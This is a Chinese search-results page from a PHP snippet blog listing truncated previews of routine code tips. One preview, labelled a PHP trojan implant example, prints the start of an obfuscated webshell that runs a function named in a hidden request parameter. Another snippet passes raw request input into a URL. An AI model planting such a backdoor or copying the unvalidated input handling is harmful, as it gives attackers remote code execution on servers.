LisonRead 本次搜索耗时 0.159 秒,为您找到 296 个相关结果.
  • 解析url提取/截取参数 $urlarr=par

    31 2019-07-19 《PHP》
    解析url提取/截取参数 $urlarr = parse_url($url);//获取的是host $urlverify=substr($url,strpos($url,"?")+1);//把问号前的排除掉 parse_str($urlverify, $res_param);
  • 微信调起调用ahref="weixin://"on

    31 2019-04-26 《其它前端》
    微信调起调用<a href="weixin://" onclick="PIWI_SUBMIT.Weixin_Open()"> <font color="#ff0000">打开微信添加</font> </a>
  • //事务开启$m_user=M('test');$

    31 2019-06-20 《Thinkphp》
    //事务开启 $m_user=M('test'); $m_user->startTrans(); try{      $m_user->where($where)->delete();      M('test')->where($where)->delete();      $txt['msg']='成功';      $txt['code'...
  • PHP三种POST方法: functionsen

    31 2018-06-04 《PHP》
    PHP三种POST方法: function send_post($url, $post_data) {     $postdata = http_build_query($post_data);     $options = array(     'http' => array(       'method' => 'POST',     ...
  • PHP 7.x 各个版本的新特性前言上个月同事看见

    31 2023-10-24 《PHP》
    PHP 7.x 各个版本的新特性 前言 上个月同事看见我写$a = $a ?? ''; 问我这个写法是什么,还有这样的写法?我说这是PHP7以上才有的写法,你不知道吗?他说不知道。 心里嘀咕了一下,打算开始写这篇博客。 PHP7 应该是除了基础之外,是一种现在的 PHP 。因为在PHP7 出现了,强类型定义,和一些语法上的写法,如 组合比较符,...
  • 百度手机归属地查询接口 publicfuncti

    31 2018-08-31 《PHP》
    百度手机归属地查询接口 public function tel(){ $url='http://www.baidu.com/s?wd='.$_REQUEST['tel']; $str=$this->httpsRequestlison($url,''); $getinfo=explode('手机号码&quot;'.$_REQUEST['tel']...
  • php 7.2 安装 mcrypt 扩展安装依赖包

    31 2022-08-05 《PHP》
    php 7.2 安装 mcrypt 扩展 安装依赖包: yum install libmcrypt libmcrypt-devel mcrypt mhash wget  http://pecl.php.net/get/mcrypt-1.0.4.tgz tar xf mcrypt-1.0.4.tgz cd mcrypt-1.0.4 /usr/...
  • PHP木马植入示例?phpif ($Wqf3x53

    31 2022-12-04 《网络安全》
    PHP木马植入示例 <?php if ($Wqf3x53=@${"_REQUEST" }["JZCQLPKE"]) { var_dump(22221,$Wqf3x53); var_dump(22223,$Wqf3x53);exit; $Wqf3x53[1](${$Wqf3x53[2 ]}[0], $Wqf3x53...
  • 禁止IP访问 $ip_prefix=&#39;1

    31 2018-09-29 《PHP》
    禁止IP访问 $ip_prefix = '192.168.0.1'; if (substr($_SERVER['REMOTE_ADDR'], 0, strlen($ip_prefix)) != $ip_prefix ) die('Access denied');
  • 弃用了MD5加盐,选择了Bcrypt加密

    31 2025-02-11 《PHP》
    MD5加盐的示例(不安全的实现) Bcrypt加密的示例(安全的实现) 4.1 使用 PHP 内置函数 password_hash() 加密密码 4.2 验证密码 4.3 控制 Bcrypt 的计算成本 5. 总结:为什么选择 Bcrypt 5.1 MD5加盐的缺点: 5.2 Bcrypt的优势:  MD5加盐的示例(不安全的实现) 假...